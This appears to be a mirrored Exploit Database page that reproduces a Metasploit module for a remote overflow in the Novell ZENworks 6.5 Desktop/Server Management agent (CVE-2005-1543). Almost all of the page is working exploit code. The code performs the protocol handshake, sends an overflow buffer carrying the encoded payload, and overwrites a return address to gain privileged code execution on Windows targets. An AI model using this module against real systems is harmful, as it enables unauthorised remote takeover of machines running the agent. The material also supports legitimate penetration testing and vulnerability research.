Novell ZENworks 6.5 – Desktop/Server Management Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-07-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16815/

• ##
  # $Id: zenworks_desktop_agent.rb 9929 2010-07-25 21:37:54Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
  			'Description'=> %q{
  					This module exploits a heap overflow in the Novell ZENworks
  				Desktop Management agent. This vulnerability was discovered
  				by Alex Wheeler.
  			},
  			'Author' => [ 'anonymous' ],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 9929 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-1543'],
  					[ 'OSVDB', '16698'],
  					[ 'BID', '13678'],
  
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 32767,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					[
  						'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x10002e06,
  						},
  					],
  				],
  			'DisclosureDate' => 'May 19 2005',
  			'DefaultTarget' => 0))
  	end
  
  	def exploit
  		connect
  
  		hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
  		print_status("Sending version identification")
  		sock.put(hello)
  
  		pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
  		ident = sock.get_once
  		if !(ident and ident.length == 16)
  			print_error("Failed to receive agent version identification")
  			return
  		end
  
  		print_status("Received agent version identification")
  		print_status("Sending client acknowledgement")
  		sock.put("\x00\x01")
  
  		# Stack buffer overflow in ZenRem32.exe / ZENworks Server Management
  		sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")
  
  		ack = sock.get_once
  		sock.put("\x00\x01")
  		sock.put("\x00\x02")
  
  		print_status("Sending final payload")
  		sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
  
  		print_status("Overflow request sent, sleeping for four seconds")
  		select(nil,nil,nil,4)
  
  		handler
  		disconnect
  	end
  
  end